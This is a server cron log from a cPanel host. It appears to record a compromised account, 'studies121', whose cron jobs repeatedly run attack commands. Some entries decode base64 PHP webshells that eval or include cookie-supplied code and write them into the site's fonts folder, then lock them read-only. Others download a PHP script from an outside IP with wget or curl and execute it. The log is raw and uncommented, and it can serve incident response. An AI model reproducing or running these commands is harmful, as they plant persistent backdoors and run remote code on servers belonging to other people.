Sep 12 16:48:01 ip-184-168-122-23 CROND[26452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:48:01 ip-184-168-122-23 CROND[26455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:48:01 ip-184-168-122-23 CROND[26454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:48:01 ip-184-168-122-23 CROND[26457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:48:01 ip-184-168-122-23 CROND[26458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:49:01 ip-184-168-122-23 CROND[26539]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 16:49:01 ip-184-168-122-23 CROND[26540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:49:01 ip-184-168-122-23 CROND[26542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:49:01 ip-184-168-122-23 CROND[26541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:49:01 ip-184-168-122-23 CROND[26544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:50:01 ip-184-168-122-23 CROND[26763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:50:01 ip-184-168-122-23 CROND[26768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:51:01 ip-184-168-122-23 CROND[26869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:51:01 ip-184-168-122-23 CROND[26872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:51:01 ip-184-168-122-23 CROND[26871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:51:01 ip-184-168-122-23 CROND[26873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:52:01 ip-184-168-122-23 CROND[26954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:52:01 ip-184-168-122-23 CROND[26957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:52:01 ip-184-168-122-23 CROND[26958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:52:01 ip-184-168-122-23 CROND[26959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:52:01 ip-184-168-122-23 CROND[26956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:53:02 ip-184-168-122-23 CROND[27056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:53:02 ip-184-168-122-23 CROND[27057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:53:02 ip-184-168-122-23 CROND[27058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:53:02 ip-184-168-122-23 CROND[27055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:54:01 ip-184-168-122-23 CROND[27165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:54:01 ip-184-168-122-23 CROND[27166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:54:01 ip-184-168-122-23 CROND[27168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:54:01 ip-184-168-122-23 CROND[27167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:54:01 ip-184-168-122-23 CROND[27169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:55:01 ip-184-168-122-23 CROND[27361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:55:01 ip-184-168-122-23 CROND[27364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:55:01 ip-184-168-122-23 CROND[27367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:55:01 ip-184-168-122-23 CROND[27368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:55:01 ip-184-168-122-23 CROND[27365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:55:01 ip-184-168-122-23 CROND[27366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:56:01 ip-184-168-122-23 CROND[27502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:56:01 ip-184-168-122-23 CROND[27503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:56:01 ip-184-168-122-23 CROND[27500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:56:01 ip-184-168-122-23 CROND[27504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:56:01 ip-184-168-122-23 CROND[27501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:57:01 ip-184-168-122-23 CROND[27593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:57:01 ip-184-168-122-23 CROND[27596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:57:01 ip-184-168-122-23 CROND[27595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:57:01 ip-184-168-122-23 CROND[27597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:58:01 ip-184-168-122-23 CROND[27688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:58:01 ip-184-168-122-23 CROND[27689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:58:01 ip-184-168-122-23 CROND[27690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:58:01 ip-184-168-122-23 CROND[27693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:58:01 ip-184-168-122-23 CROND[27694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:59:01 ip-184-168-122-23 CROND[27797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:59:01 ip-184-168-122-23 CROND[27798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:59:01 ip-184-168-122-23 CROND[27800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:59:01 ip-184-168-122-23 CROND[27802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:00:01 ip-184-168-122-23 CROND[27969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:00:01 ip-184-168-122-23 CROND[27971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
